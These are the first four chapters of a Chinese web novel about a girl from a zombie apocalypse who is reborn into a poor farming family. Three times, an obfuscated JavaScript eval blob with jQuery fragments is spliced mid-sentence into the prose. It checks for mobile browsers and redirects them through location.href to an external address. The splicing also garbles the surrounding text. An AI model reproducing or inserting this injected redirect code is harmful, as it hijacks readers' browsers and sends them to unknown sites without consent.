《山野种田美食日常》 1. 第 1 章 早春的风,没有寒冬的冰冷刺股,却带了潮,吹到人的骨头缝里,即便穿了再多,也感觉凉飕飕,湿冷冷的。 清水沟老刘家西耳房中,平日里撵鸡逗狗的刘青青焉头耷脑,缩在火塘边,不时添柴煮水,刘慧兰掀起门帘进来,左右张望做贼一样,趁无人注意,把手心里煮熟的鸡子慌张塞给她,扭身去厨房跟阿奶宋老太打下手。 慧兰心内叹了口气,阿爹三天前上山打猎,因下了湿冷的毛毛雨,路滑天寒,不允许二妹跟随。 二妹赌了好几天气,一反常态,日日枯坐着不吭声,也不再抢饭,下巴瘦得尖成个锥子。她虽然生气,心底却疼急了两个妹妹,因此,违反平日阿娘的教导,炸着胆子,悄悄昧下今日老母鸡多下的一个鸡蛋,借着做饭的便当,煮熟了藏给二妹。 因是第一次私藏,有些不自然,火房里的宋老太连声催促了三四声,她努力吸了好几口气,才敢蹭进厨房。 刘青青握着手心里烫呼呼的鸡子,从迷茫中醒过来,心虚的瞟了眼大姐的背影,他们哪里知道,她这是换了个芯子。 她原名柳青青,在末世挣扎求生,因没能觉醒异能,只能在基地为异能者做后勤服务,种植养殖纺织之类。她不甘心一辈子仰人鼻息,加入个探险队,拼了老命赚功薪换取晶石激发天赋,觉醒了异能——结果老天爷给她开了个玩笑。 别人觉醒的异能是排山倒海、雷霆风暴、霹雳火神……一听就霸气侧漏,厉害无边的群攻手段,一招发出能把丧尸团灭的无上技能,只有她的异能叫:“小水滴发射!” 从名字就知道,这打丧尸,完全是跟小孩子打水枪一样,biu,biubiubiu——一股小拇粗细的水,缓缓从她的手掌喷出来。 队员都讥嘲,她是嫌弃丧尸皮肤太粗糙,帮丧尸洗洗脸。 她抱着以量取胜的决心,对准一只丧尸,不停的小水滴发射,期望能滋死它,结果小水滴才喷了约摸一矿泉水瓶,竟然没了,没了,了。 这叫她情何以堪。 懵逼的丧尸,回过神后恼羞成怒,对发功完杵在恢复期的刘青青一顿输出,队友救援不及,她便窝窝囊囊丧命。 当她是个普通人在泥潭中过得猪狗不如的时候,没死;觉醒了异能,立马要走上人生巅峰,迎娶高富帅的时候,突然挂了,这是老天爷玩儿她呢。 心内再怎么一万匹草泥马奔腾而过,眼睛一闭一睁,她便成了清水沟的刘青青。 复盘之前的战斗,她依旧能尴尬得用脚指头抠出一块营地。即便是队友的救援来得太迟,才导致她命丧黄泉,但她也能够理解,毕竟,她的异能是如此弱小,被人轻视疏忽也是应当。也叫她深信一个道理,一定要把命运牢牢掌握在自己手中。 在末世摸爬滚打的时候,闲暇之余,她都会从电子表中随机浏览些小说,给绝望的生活一些调剂,给未来留点希望,张弛有度。 刘青青这小丫头她知道,是一本真假千金文里的工具人女配:万事干不成,添乱第一名。女主便是适才塞给她鸡子的长姐刘慧兰,温柔贤惠得近乎圣母。 书中以清水沟老刘头一家为背景,讲述了女主善良奉献得近乎圣母的病态心理,而刘青青,就是突出女主无私懂事的任性女配。 小丫头脾气是相当的倔强,因为便宜爹不让她上山,竟然黑夜一人偷跑追出去,夜深路滑,摔了一跤磕在石上,就这么没了。 便宜爹打猎的时候受了重伤,回家后发现二女已经不在人世,伤上加伤,一口血喷三米远,当场气绝,刘家二房只剩体弱多病的阿娘,真圣母女主刘慧兰,和一个三岁多的奶娃娃刘翠翠,娘三个为了偿还便宜爹的医药费,打包卖到了城里,几经辗转回到了真千金府上。 刘慧兰带着娘亲和妹妹,吃尽苦头,受尽欺辱,历经九九八十一难,为家族鞠躬尽瘁,死而后已,终于被书写姓名在族谱。 总之,这就是一本给女子洗脑的书,洗脑女子一切以家族为重,以奉献为主,要攀附男人而活。 柳青青表示:“我呸!” 老子就是天,老子就是地。这里住的是茅草屋,裹着的是芦苇衣,但这里睡觉时没有恶心丧尸来偷袭,寻食时没有牙齿锋利食人花咬你腿,简直就是个天堂。 自力更生,种田养家,去他妈的真假千金,反正剧情还没人知道便宜娘的身世,她便当做不知道,安安生生闷声发财。 至于长姐女主的圣母情节,留给自己的亲妹妹不香么? 想到这,她心安理得掰下胡豆大一块鸡蛋白,塞到嘴里,嗯,真香。 她习惯性一边张望,一边咀嚼,生怕从旁边跳出一个丧尸来,黄雀在后。入眼是低矮的茅草屋,再一次提醒她,这是没有丧尸,真好。 不用为生命安全操心,她有心思计划当下,原主磕了头后她才穿过来,费了九牛二虎之力爬回来,没让人发现。估计脑袋内有淤血,这两天迷糊得厉害,思绪稍微多一点,太阳穴就突突突几乎要跳出来,得补补,得大补。 被扣了一个小洞的鸡蛋,软软的,白白的,热热的,烫到了她的手,暖到了她的心,这是长姐对她们的关怀呢,她缓慢站起来,钻进里屋,同阿娘和妹妹一起分享。 她扛了扛肩头,低声呢喃:“你放心,以后,我就是刘青青,我会照顾好这一家子的。”她朝着空中某个地方看去,那里有一丝莫名的牵挂,慢慢消失,她知道,这是真正的刘青青离开了。 原来的柳青青,现在的刘青青叹了口气,脸上挤出僵硬的笑,站到床边,对着苏氏实在喊不出娘来,只好木木道:“阿姊送来的鸡蛋,你吃。” 这个娘,也是个命苦的,原是富家千金,却被陷害流落街头,幸好针线上会些手艺,才没有流落风尘,经人介绍嫁给了便宜爹,虽然日子紧吧,但也平安喜乐。 可惜早些年在绣房日日久坐伤了腰椎,成亲这些年没养回来,还添了眼疾,行走借助拐杖,眯着眼盯人,原本一双漂亮的眼睛,就此蒙尘。 用刘青青的话说,这明显是腰椎盘突出加近视,若在末世,赚上些晶石请治愈系异能者做个手术就能决绝的问题,可是在这里,只能慢慢熬着。 苏氏不聚焦的眼对着刘青青的方向,捉住她探到嘴边的手,推回她嘴边:“阿青吃,阿娘不爱吃这个,噎得慌!”她语气里满是小心:“山里湿冷,你阿爹担心你小人儿跟着去了受了凉,等天暖和,娘一定不拘着你,由你满山跑,啊?” 她摩挲着刘青青头顶的枯燥黄毛,暗怪自己没用,让孩子吃个鸡蛋像是捡到宝一样,只能在言语上,多哄一哄孩子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850657|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏氏撒谎。 明明不自觉的咽了咽口水,还说不爱吃,这是要省着给她呢。 无论悲伤苦难都一人扛的刘青青,有些破防,她发誓,至少要赚钱,弄一副水晶眼镜给苏氏。她撅着小嘴,把鸡蛋掰开,不由分说塞到苏氏的嘴里:“你吃了鸡蛋,我就不生你气!” 苏氏笑了,这个倔丫头好几天都不愿意搭理人,听她这样说,她啪叽在刘青青脸上亲了一下,搂着她笑道:“好好,我的好闺女,娘吃还不行么!” 装嫩的刘青青:“……” 心里柔柔的,怎么回事! 都忘记了推开苏氏,明明在末世的时候,旁人靠进她半米,她都会防备的跳开啊。 被苏氏搓揉了一番的刘青青,觉得吃了大亏,不好在苏氏脸上搓揉回来,爬上床越过外面的苏氏,去逗睡觉的三妹妹刘翠翠。 翠翠将近四岁,因为营养跟不上,堪堪会走路,说话也不利索,小孩子瞌睡大,这会子被闹醒,好大的起床气,张开嘴巴就要嚎,刘青青眼疾手快塞了一小块鸡蛋,翠翠忘了哭,眨巴着眼睛尝起来,不一会眯着眼睛直直盯着她:“二,蛋!” 苏氏有些着急:“翠翠,说话不能一个字一个字的,来跟着娘说,鸡蛋!” 翠翠固执道:“二、蛋!” 刘青青:“……” 二蛋就二蛋吧,不要卵蛋就行。 她很自然抱起翠翠,把剩下的鸡蛋,捏细了塞到她嘴巴里,怕她噎到,还喂了些水。 好吧,一定不是她主动要抱的,是这幅身子的本能反应。 怀里轻飘飘的小人儿,蜡黄的脸色,打满补丁不合身的灰衣,再一次提醒她,这个家庭的贫困。她不解,刘家十多亩水田,老刘头和大伯父种田的一把好手,便宜爹日日打猎,按理来说,刘家应该不缺一口吃的,怎么还把小孩饿成这样? 到了晚饭的时候,她便明白了——剥削真的无处不在啊! 刘家还没分家,整整围了一桌。 刘慧兰抬着一大盆糠饭粥,后边二堂姐刘巧儿端着一盆炒野菜,两人低眉顺眼让到一边捧着碗筷,宋老太耷拉着脸走上前,捏着木饭勺准备分饭。 小堂弟刘宝强不乐意了,把桌子拍得整天响:“奶,我不要吃野菜,我要吃蒸鸡蛋!我看到刘慧兰偷藏鸡蛋!” 他得意洋洋的举报,语气里满是幸灾乐祸。 刘宝强才五岁,虎头虎脑,看着比翠翠壮实多了,但家教么,刘青青表示,呵呵。 刘慧兰心里一惊,面上不动声色解释:“奶,我是捡了鸡蛋,但放到罐子里去了!” 宋老太皮笑肉不笑嗯了一声,她检查过,加上今日的一个,罐子里有二十三个,一点没错。她狠狠瞪了刘宝强一眼,在他脑瓜上轻轻扇打了一下:“吃吃吃,你个灰孙子一天不学好,就想着吃。”眼看小孙子憋着嘴巴要嚎,她连忙改口:“老实坐好,晚上你大哥回来,蒸个鸡蛋,分你一勺!” 虽说虎着脸骂了一顿,但她打心里疼这个最小的孙子,手里划拉两下,从盆底挖了一碗又粘又稠米多糠少的粥给刘宝强。 刘宝强被排揎了一顿,又得了许诺,从地上爬起来,气冲冲推了一把身边的刘青青,薄薄小嘴上下一翻,吐出几个字:“赔钱货!” 2. 第 2 章 仿佛是验证了刘宝强的这句话,刘青青观察,宋老头、大伯父、二堂兄、小堂弟碗里的粥又浓又稠,而大伯母母女,宋老太自己碗里的粥,又稀又少,她们二房娘四个的碗,更是清得能照人影子。 她不由得自嘲,换个地方,她还是底层。 王氏唏哩呼噜喝完一碗,自己去捞第二碗,迎着宋老太要杀人的眼,她摸着肚子解释:“娘,我跟着当家的下地,出了一把子力气,饿得慌!” 宋老太不置可否,冷哼了一声,算是默许。 刘青青眼珠子一转,三口两口灌下碗里的清粥,把剩下一个底的粥盆抬起来,利落倒到自己碗里,整整有半小碗浓粥呢,口水不争气的从嘴角掉进碗里。 她绝对不是故意的。 这一系列的动作出人意料又行云流水,大家都被她惊呆了——刘家的孩子从来没有自己添过饭,那是宋老太的权利象征。 感觉被挑衅的宋老太回神暴喝:“臭丫头,你做什么!” 刘青青嬉皮笑脸:“奶,今日的粥你做的真好吃,又香又滑,比镇上食为天做的还香,我忍不住多舀了些!” 宋老太:“……” 这是粥好吃的事情么,这是你有什么资格多喝一碗粥的事情。 王氏满脸不赞同:“青丫头,你太不懂事了,地里活计重,你爷和大伯父辛苦一早上,汗流了两升,就靠这点粥补补,都被你给倒了去,嗨,你说你们娘几个在家闲着,要吃这么多作甚……” 刘青青一副恍然大悟的样子:“哦,原来是因为我闲着,所以不能喝粥,阿姊没闲着,她今早喂了鸡,打满了水缸,扫了院子,清除了猪圈,那给阿姊喝吧。” 她不容分说,把碗里的粥全倒到刘慧兰的碗里。 刘慧兰端着碗,对着一碗浓粥,手足无措。她今日偷昧一个鸡蛋,这会子还心如鼓擂,生怕被宋老太发现。 突然吸引了所有人的目光,顿时紧张得脸上冒虚汗,七手八脚把碗递给宋老太,生怕她发怒,二妹妹挨打,嘴巴里连连解释:“奶,爷伯下田辛苦,衣裳上都是泥,早上我和娘说要去河里才洗得干净,二妹妹记在心里,她小人儿怕我抬不动木盆,才多舀了些给我,其实,她也不是故意的,你不要怪她。” 听听,维护妹妹,为长辈分忧,妥妥懂事的乖孙女。 宋老太鼻子里嗯了一声,抢过碗,正要把里头的粥分给宋老头和大儿子,被宋老头止住:“行啦,就给慧丫头吧,家里不缺这么一点粮食,我和老大日日下田,你倒是煮些干的,才有力气做活!” 他斜了一眼不吭声的刘巧儿:“巧丫头不要一日光坐着绣花,也要动手做做家务,出去搂搂猪草,我们庄户人家,不兴大门不出这一套。” 刘巧儿心里怨极,她招谁惹谁了,又不敢和刘老头顶嘴,狠狠瞪一眼刘青青,不情不愿哦了一声。 王氏不乐意,替女儿解释:“爹,巧儿今年都十三了,日日出门晒成个黑炭,怎么定人家,再说,她才学了两年的针线,绣的帕子,卖三文五文的,也能给家里一个进项,不比喂鸡割草强么。我看青丫头没事,又是个闲不住的性子,不如以后找猪草的活计,就给青丫头吧。” 猪草的活计,原本是刘慧兰的,刘老头支使刘巧儿去做,被王氏三言两语丢给二房的刘青青。 宋老太心里恼怒刘青青在饭桌上自作主张,挑战了她掌勺的权威,讨厌她没事在眼皮子底下晃荡,干脆撵出去,眼不见心不烦。出声应和:“老头子,老大媳妇说的是,找猪草的活计,就给青丫头,省得她一天在家闹腾。” 刘老头看了一眼刘青青,小丫头头发枯黄,矮小精瘦,不比背篓高多少。农家的孩子多出去跑跑,就能皮实些。他琢磨了一会,闷声道:“行,以后每天青丫头带着翠丫头一起出去笼猪草,多动动。”他砰的放下空碗,蹲到院墙下面,抱着水烟筒,咕噜咕噜抽起汗烟来。老大家还好,三个儿子一个女儿,大孙子在镇上读书,老大家的以后的日子差不了。 可是老二家三个闺女,没个儿子,他愁得整夜整夜的睡不着。把两个小的支使出去,好让老二家的,有功夫生儿子。 饭桌上短短几句话,便决定了猪草活计的归属,刘巧儿不用去外面晒太阳,乖觉的收拾碗筷去洗。大房里的几个事不关己,都回房午歇。 大闺女已经定亲,不用出去晒太阳,苏氏自然是高兴的,可她心疼两个小的,却不敢吭声,她没有儿子,身子病歪歪不能下地干活,全靠大房帮衬,在公婆面前着实没脸。 苏氏心里自责一回,收拾情绪在柴房捡了个小些的背篓,翻箱倒柜寻出破烂得不能穿的衣裳,摸索着细细缝在背篓带上,盼着不要伤到女儿稚嫩的肩膀。 剩下的布料,挑挑拣拣缝了个小斜挎包,里头用水囊装上白开水,挂在刘青青的身上,满是不舍,拉着刘青青细细嘱咐:“阿青,只要半框猪草就好,不要太多,免得你背不动。” 又板起脸起教导:“不许去河边,只可以去田埂上寻猪草。你且忍耐两天,你爹从山里回来,让他顶你去找猪草。” 刘青青嘴巴里嗯个不停,眼睛已经飞到了院门外。 村子里有孩子溺水,苏氏一向把她们拘在院子里,虽说刘家的院子大,种满了各样菜蔬,但哪里有外面天地广阔,被派了去笼猪草,她正好借此机会满世界探险,求之不得。至于说等阿爹回来的话,她瞬间想起来一个重要的事,原文中阿爹三日后回来,受了重伤,她得悄悄做些准备,最好能趁着笼猪草的机会,寻些能用的伤药。 刘慧兰手脚麻利,收拾好伙房,也捡了个背篓跨在身上,安慰苏氏:“阿娘放心,我会看好两个妹妹。” 她找宋老太要了一把豁了口的镰刀丢在背篓里,一手牵着一个妹妹,顺着外面的土路而行。今日是二妹妹第一天笼猪草,需要她手把手教她们,她哪里放心不跟着。 等转过墙角,刘慧兰心疼两个妹妹,将两个背篓套在一起,把刘翠翠放了进去,示意刘青青也爬进去:“路有点远,我背着你们!” 刘青青看着有两个刘慧兰大的背篓,实在没那个脸让人背。不过对这个大姐姐无处不释放的善意有了深刻的体会。 阿姊这样对她,挺好,要是也这样对外人,那是病,得治。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850658|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她面色复杂的昂起头:“我才不是三岁小孩,不要你背!”刘慧兰噗嗤笑了,也不勉强,刮了刮她的鼻子:“行行行,我们青丫头是九岁的大人了呢。来,我牵着你,等你走不动了,和我说。” 她弯腰背着两个背篓,以不符合她年龄的单薄肩膀,把母亲和两个妹妹护在身后。 她的体贴懂事着实让人心疼,刘青青不作妖,老实跟着她后面,顺着土路往远处的田埂走去,漫不经心的闲聊中探清楚刘家的底。 清水沟村顾名思义,是清水河冲出来的小盆地,一面比邻清水河,三面环山。村子四周肥沃的土地都有了主,随着村子人口的增多,有限的土地不能再养活一家老小。种田之余,许多村民上山打猎,补贴家用。 刘家就是例子,老刘头育有四子四女,夭折了三个女儿,最后剩下四子一女。 老大刘有田,娶妻王氏,跟着他伺候庄稼,生育三子一女,除了大堂哥刘宝柱在镇上读书,剩下的二堂哥刘宝栋,小堂弟刘宝强,大堂姐刘巧儿今早刘青青都见过。 老二就是她爹,刘有山,和村子里的汉子,组队到山里打猎。因为生了她们三姊妹,没有儿子,很是讨宋老太的嫌。 三叔刘有河自个入赘到镇上的屠户,听说日日有肉吃。 小叔在县城里做伙计,讨了县城的姑娘做媳妇,成了城里人,不怎么回来。 刘家最出息的是小姑,高嫁到府城里,成了个官夫人,虽然不晓得是多大的官,但每次宋老太一说起,那一脸的自得,让人以为知府是她女婿。 刘青青这一通分析下来,倒吸一口冷气,难怪阿娘气弱,受了欺负也不敢吭声。五房算下来,就是他们二房最没出息,要人没人,要钱没钱。 说话间,到了清水河,刘青青耷拉眼皮一看,河宽起码有七八米。春末是枯水期,一股两三米的水流汩汩而下,波光粼粼,河坝上水草丰茂,芦苇丛生,河心的沙洲偶尔传来些鸟叫,刘青青瞬间回神,眼睛绿光,那是烤鸭的叫声。 慧兰一改温柔的模样,严肃着脸道:“这河看着浅,河底都是淤泥,下去再也上不来,你们不许靠进河边。”她扯着刘青青的手膀子,顺着村子里的土路,往东边而去,到田埂上打猪草,虽然少些,但没有危险。 发现刘青青的意犹未尽,她故意道:“你知道家里有颗桃树的赵家么?” 刘青青想了一回,嘻嘻笑道:“知道,不就是姐夫他伯父家么!”刘慧兰定亲的人家姓赵,是清水沟村另外一个大姓。 刘慧兰耳根升起一抹薄红,轻轻在刘青青手上拍了一下:“淘气!” 她收敛脸上的羞涩,正色道:“那个赵家原本有一个和我一样大的男娃,小时候我们还一起玩过,后来他掉到水里淹死了,等捞起来的时候,泡得有木桶那么大!” 其实她也没见过,是苏氏描述给她听得,从那后,她便记得,不能离河太近,即便洗衣服,也是在村头村民搭的大石板上,那里的水是从清水河引的一股支流,才到人膝盖深。 对上她紧张充满关爱的眼,刘青青的逆骨支棱不起来,老实保证:“知道啦!” 3. 第 3 章 粮食产量低,家家都要打猪草,村子附近的猪草被割了一茬又一茬,走了约摸有半个时辰,靠近山脚,刘慧兰才停下来。 她把背篓放在一颗树下,先摸了摸幼妹的额头,只是被晒得有些红,并没有发热,放下心来,靠在树干上,大口大口的喘着粗气。 刘青青双脚走得发麻,头发汗湿贴在头皮上,黏黏腻腻,难受极了。拿出水囊正要喝水。抬眼看见阿姊满脸通红,汗水顺着脸颊滴落,心下微微一紧。她空着手走尚且累成这样,阿姊还帮她背着背篓,背着幼妹,肯定更累。 她把手里的水囊塞给刘慧兰:“你先喝些水!” 刘慧兰摆摆手,一脸神秘:“水囊里我偷偷添了盐,有味道,留给你们喝。那边有个水沟,里头的水很清,我喝那个!” 面前的女孩子不过十三岁,自己都是个孩子,但对两个妹妹的关爱,却比清水河还要深。刘青青坚硬的心,好像被羽毛拂了一下,原本打算和刘家人相安无事的,这会子多了一份真心。 她皱着眉头:“沟里的水怎么能喝呢?里头有小虫子!” 刘慧兰打开水囊小口小口的喂幼妹喝水,漫不经心答道:“我看了,没有的。”村子里的大人都是这么过来的,也没见谁肚子疼。 刘青青着急,末世的时候,看着很清澈的水源,也许就有病毒,喝了变丧尸,她们即便渴死,也不敢碰。 这会子没有丧尸病毒,但定然有微生物、寄生虫,谁知道喝了会怎么样。清水沟的科技发展,显然没到这一步,说了刘慧兰也不理解,她眼珠子一转,指着不远处的群山,故作好奇问:“阿姊,山里有兔子么?” 刘慧兰瞥她一眼,知道她明知故问,警告她:“当然有,还有狼,野猪,狗熊……最喜欢吃小孩,你不许偷偷跑去山里。” 刘青青:“哦,那兔子,狼,野猪也喝水么?它们撒尿么?它们有没有茅厕,还是像幼妹小时候,一边喝水,一边尿尿?” 渴极了的刘慧兰,捧着手心里清澈的水,再也没有咽下去的勇气,甚至还恶心了一下。 山里的动物一边喝水,一边撒尿排泄,再顺流而下,到了她的嘴里,想想都很刺激。她脑补着上游某个地方就有一只野猪嫌弃天热,在水塘里打盹,顺便滋尿,然后…… 停,不能再想了,刘慧兰嗔视睁着一双无辜的眼,等着她回答的刘青青,默默接过水囊喝了两口解渴。 原本叛逆的二妹,变得越发刁钻淘气。 算了,这水看着是干净,谁知道远处有没有小孩拉屎,野兽撒尿,还是喝家里的井水,以后麻烦些,多带两个水囊,至少喝着放心。 刘青青达到目标,嘿嘿一笑,不再多说,接过水囊,小口小口抿着几乎尝不出咸味的白开水。 刘青青两人休息的功夫,刘慧兰也没闲着,她扯了些树枝树叶,编了两顶帽子扣在两个妹妹头上,然后牵着她们顺着地头找猪草。 一边细细的讲解:“这个圆形叶子的是乳姜草,诺,掐断后会冒出白色的黏液,小猪最爱吃。这个尖叶子开白花的是卷耳草,长得最快,两天一茬,最容易找。 小叶子开紫花的叫紫云英,猪仔也爱吃。” 最后,她摘了一株叶片像小箭一样,边沿还有许多锯齿的草教导两个妹妹:“这个叫锯子草,猪吃了会窜稀,千万不要混在里头。” 教导完,她指了三条地埂,和两个妹妹比赛,谁找的猪草又多又好。 小半个时辰后,刘慧兰抱着一捆猪草,检验两个妹妹的成果,二妹妹也寻了一大捆,不过除了她说的乳姜草、卷耳草,紫云英外,还混着一堆杂草,甚至一小把锯子草。 幼妹手里抓了一把紫云英草,开满了淡紫色的小花,嘻嘻哈哈往发上插。 刘慧兰忍不住头疼,二妹妹是个毛躁的性子,肯定没有听清她的话,拉着她又讲了一遍,至于幼妹,还小呢,就是带她出来玩的。 刘青青觑着长姐的脸色,不理解道:“我记住了呀,你说的草全是猪仔爱吃的,我们还吃讨厌的糠饭呢,让小猪吃点不爱吃的杂草又不会掉块肉。要全是你说的那些草,要找到什么时候,再说,你说的锯子草我捡出来了,准备和妹妹玩儿呢。” 说完拉着幼妹玩什么大夫看病的戏码,两个小丫头头挨着头,手里不停的摆弄,即便是不说话的翠翠,也不停的药、药叫个不停,比在家里活拨了许多。 刘慧兰愣住了,阿奶告诉她猪仔爱吃这三样草,让她每次只找这几样,她也老实,不肯掺杂些杂草在里头,从来没有质疑过阿奶的话,二妹妹今日的话语,像一个炸雷,惊醒了她,阿奶说的,一定是对的么?就像沟里的水,祖祖辈辈都在喝,一定是干净的么? 再说刘青青,她哪里是在玩耍,这个锯子草若她没记错的话,有清凉消炎的功效,手臂上好几个被蚊子咬的包,她捡了个石头敲碎后让翠翠包在她手臂上。 为了验证,只涂了右手,没有抹左手。家里吃的都没有,若便宜爹回来,她不认为宋老太会带着他爹去看大夫。即便看了大夫,没钱买药也是白搭。 想到这,她感觉一阵无力,现在这幅身子才九岁,偶尔出过几次门,都是跟着便宜爹或者阿姊,她不敢作出稍微出格的行为,可是这样,怎么才可以改善家里的条件哪! 筹谋半天,只能把人选放在面前忙绿的人身上。 刘慧兰是个好姑娘,勤快能干,懂事体贴为人着想,就是有些榆木脑袋,一路奔着舍己为人,为家族的发展无私奉献生长。 这样按照宋老太三观捏出来的阿姐,她不喜欢,她喜欢有主见的阿姐,有自己思想的阿姐,趁着还没到那一步,她要把宋老太洗的恼,给掰回来。 这不,刘慧兰叫她们回家,唠叨着家里还有一大堆活计,喂鸡,洗衣,喂猪,烧饭,给菜园子浇水……。 刘青青毫不犹豫的坐在地上,打滚耍泼:“我不,我走得脚疼,我要多休息一会。” 刘慧兰苦口婆心:“过会回去,天黑前就烧不好饭拉,你不得饿肚子?” 刘青青白了她一眼,掰着手指头:“家里还有阿奶,巧儿姐,大伯娘,谁不会做饭啊!”再说,好像说得,不偷懒回去就能吃饱一样。 刘青青扒拉着一块石头不愿意走,翠翠也不情愿,刘慧兰实在没办法背两个背篓,只好同意再玩一会。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850659|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 为了哄两个妹妹早些跟着她回家,她寻到几个筷子粗的小洞,顺手挖了起来。睡了一冬的土狗子从地底下爬出来,偷啃麦子,草芽,白天又躲到地洞里睡觉,正好逮两个给妹妹耍,她偶尔挖了喂鸡,很是有经验。 刘青青眼睁睁看着刘慧兰抓了两只拇指大的“土狗子”出来,放在她们面前,手指头扒拉土狗子,两只土狗子挥舞着小钳子,在石头上吓得争相逃窜,爬得太快,撞在一起,翻了个跟头,露出肥胖的肚皮,翠翠也兴奋得小脸通红,拍着手大叫土抖土抖。 长姐温柔道:“诺,小心些,不要压扁了,还要带回去喂鸡!” 刘青青要窒息了,眼泪几乎要从嘴角留下来。 喂鸡,拿来喂鸡,原来刘家的鸡,过得比她还要好。 阿姐口中的土狗子,是一种昆虫,学名叫蝼蛄,看着恶心,但,很美味的。末世的时候,意外无处不在,基地教导民众各种生存技巧,尽量就地取材,获取食物,减少干粮的损耗。蝼蛄就是其中一种,因只吃草根植物嫩茎,没有被污染,而且含有极高的蛋白质。 刘青青感觉呼吸快了几分,她一把抓住刘慧兰的手:“阿姊,还有么?” 适才还满地打滚的妹妹,看见土狗子就骨碌翻起来,证明了所有小孩子都喜欢玩活的动物,刁钻叛逆的二妹也不例外。刘慧兰抿嘴一笑:“有啊,诺,你看地里麦根下那些小洞洞,大部分里头估计都躲着一只。” 刘青青展眼一看,几乎每两茬麦根下都有一个小洞,她要晕倒了——兴奋的。她好像看到了无数的蝼蛄挺着肚皮,在对着她挥舞钳子。烤的,炒的,炸的……不能再想了,口水要流出来拉。 她走到最近的一个小洞,开始用手扒拉。 刘慧兰跟在她身后,抓起她的手拍了一下:“你要挖么,这个洞很深的,起码一尺,手指扣不出来,小心抠破皮,有你疼的。” 刘青青满脑子都是炭烤蝼蛄的香脆,扑在刘慧兰身上歪缠:“阿姊,你帮我挖几个罢!” 阿姊叫的真心实意,水到渠成。 二妹妹一向淘气叛逆,什么时候像这样,变成个猫一样撒娇,刘慧兰顿时溃不成军,举手投降:“行行行,每人再挖三个,用家里带来的镰刀,挖多了把镰刀磨坏,阿奶要骂的。” 刘青青得意的笑,三个哪够,至少得三十个。 两姐妹排着队等着捡蝼蛄,刘慧兰挥舞镰刀当锄头使,一回头便是两双湿漉漉的大眼睛,没有原则的刨完了一块地,整整逮到一百四十八只蝼蛄,刘青青脱下外衫,袖子打结就是个口袋,整整捡了一袖筒,密密麻麻看着好不吓人。 刘慧兰打了个激灵,不敢再看,板着脸训斥:“行了,这么多,够你们玩了,我们回家罢!” 回家是不可能的,刘青青嘿嘿笑了一下,把衣服袖子捏紧口,按到小水沟里,口袋里的蝼蛄一开始还会挣扎,后面就安静下来不会动。 她打开袖口,被水淹死的蝼蛄,身上的泥巴已经被洗掉,肚子里的脏污也被排了个干净,摘下羽翅,全是肉啦。 刘青青眼里有小星星:“阿姐,你的火石呢,快点火烤熟了,就可以吃啦!” 4. 第 4 章 这能吃么?刘慧兰表示怀疑。 刘青青的袖子湿透了,滴滴答答在淋水,这样回家,必然要挨奶打,刘慧兰无奈,烤不烤蝼蛄的无所谓,二妹的衣服一定要烤干,免得受了风,认命的去捡干燥的树叶枯枝。 刘青青没闲着,挑了五六个石头,搭了个火塘,捡上一块薄薄的石板洗干净当锅,将蝼蛄均匀的铺好。 不一会,刘慧兰捡回干了的枯枝树叶,塞在火塘里点燃,周边都是野草,不远处还是树林,怕引起大火,刘青青选的地方就离小水沟两三米远。 火塘里的枯枝冒出白烟,染出橘色的火焰,一炷香后,石板变得滚烫,水滴落下,发出滋滋响声,刘青青掰了两只小树枝当筷子,放上洗干净摘下翅膀的蝼蛄,手忙脚乱的翻烤。 石板上的蝼蛄受热变干,从油亮的黑色,变成焦黄的棕黑色,散发着一股奇异的香味,旁边的刘翠翠眼巴巴的盯着,时不时咽一下口水,若不是刘慧兰拉着,她早已经下手去抓。 好不容易烤好一锅,刘青青把它们夹在洗干净的树叶上,捡了一个最肥美的,准备给翠翠先吃。 半路被刘慧兰劫走,主要是这东西不晓得会不会把人给吃病,她身体好,拉肚子也没事,先尝一个,若没有问题,再给两个妹妹吃不迟。 想象中恶心的味道并没有,脆脆的,香香的,比阿奶过年炒的肥肉油渣还要香,没有一点土腥气。 嗯,好吃,要是火候更均匀些,撒点盐,就更好吃了。 她等了一会,并没有感觉哪里不适,心放到了肚子里,把树叶上还热乎的蝼蛄分给两个妹妹,不用刘青青催促,动手烤起剩下的蝼蛄。 她日日做饭,烤蝼蛄的手艺比刘青青好多了,香脆又不会发焦。 终于,一百多只烤蝼蛄全部进了三人的肚子,刘青青满足的眯着眼睛,拍拍肚皮,打个饱嗝。来这里这么多天,今天总算吃了顿荤的,虽然肉少,也是肉。 刘慧兰回味着在嘴里的香味,进行善后。浇了好几次水,确保火塘里的火星灭完,把周围收拾干净,看看天色,已经到了傍晚,心虚的催促两个妹妹快回家。 刘青青穿着烤干了的衣裳,一边赶路,一边不动声色对刘慧兰洗脑:“阿姐,我怕!” “你怕啥?” 